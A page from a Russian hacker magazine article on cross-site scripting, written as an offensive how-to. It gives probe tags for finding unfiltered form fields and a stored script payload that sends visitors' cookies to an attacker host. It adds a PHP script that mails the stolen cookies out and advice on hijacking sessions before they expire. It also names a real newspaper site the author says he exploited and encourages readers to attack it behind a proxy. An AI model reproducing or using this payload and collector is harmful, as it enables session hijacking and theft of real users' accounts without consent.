|

Cross Site Scripting
Xakep, номер #042, стр. 042-038-3
Далее во все возможные поля формы загоняются какие-нибудь HTML-теги, например: <font color=red size=8><b><center>Hey, admin! You've got CSS-vulnerability in megascript.php!</center></b></font> Разумеется, было бы неразумным так вот демонстрировать админу уязвимость, пропатчит ;(. Поэтому давай-ка сперва ограничимся чем-нибудь незаметным. Например, комментарием: <!-- Vulnerable ! //-->.
После того, как мессага успешно запишется, всмотрись в html-код страницы с твоим сообщением. Если все пучком, то там ты найдешь свой комментарий, причем без изменений.
Если же там находится что-то вроде <!-- Vulnerable ! //--> , то кодер не дебил, а ты в обломе ;(.
Кстати, не так чтобы уж слишком давно (пол года назад, примерно), я, совершенно случайно, нашел такой баг в форуме на сайте ng.ru - паге вполне серьезной офлайновой газеты, причем админ упорно не патчил дыру. Я месяц развлекался, а потом просто надоело смотреть их баннеры и я забил на это дело. Вполне возможно, что уязвимость там до сих пор есть, а сайт станет плацдармом для опытов многих сотен российских хацкеров ;). Вперед, только не забудь включить proxy: по 273, конечно, не загремишь, но портить отношения с провайдером не к чему.
Итак, ты нашел уязвимый скрипт. Загоняй в сообщение вот это:
<script>
window.location.href='http://hacker/hack.php?cookie='+document.cookie;
</script>
Сей код скинет все кукисы в скрипт hack.php в виде строковой переменной $cookie, которая выглядит следующим образом: cookie=cool; cookie_1=cool_1; cookie_2=cool_2; т.д. ; т.п. Разумеется, надо написать небольшой скриптик, который скинет тебе на почту сообщение с украденной инфой. Тут ты, конечно, волен поступить, как хочешь, но я все же дам наработку:
<?
if(isset($cookie))
{
mail("xaxor@xakep.ru", "Украденное печенье!", "$cookie");
}
?>
Скрипту надо выдать достаточные для выполнения права (chmod 755, например), а web-сервер должен быть настроен на отправку почты.
Что делать с украденным печеньем? Не знаю, тут все очень сильно зависит от случая. Если ты спер куку, идентифицирующую сеанс - БЕГОМ несись на хост, который прописан в кукисе и ищи, куда бы этот идентификатор вставить. Проще всего это сделать путем открытия собственного сеанса - так ты узнаешь имя скрипта, работающего со стыренными куками и передаваемые ему переменные. Поэтому, чтобы не терять на этом времени, все делается заранее. Удивлен, почему я постоянно говорю про время? Верно, кука у тебя в кармане, и никуда от тебя не денется. Но помнишь, когда я рассказывал, как работает система сеансов, я упоминул про то, что в базу данных пишется время установки кукиса. Ну так вот, в любой нормальной системе проверяется разность между текущим временем и временем, записанным в базе данных. Если она (разность) больше установленного лимита, это свидетельствует о том, что cookie поддельный, следует удалить запись из базы данных и отослать админу IP тачки, которая ломится по этому не валидному кукису. Поэтому чем быстрее ты сработаешь, тем больше у тебя шансов.
Назад на стр. 042-038-2 Содержание Вперед на стр. 042-038-4
|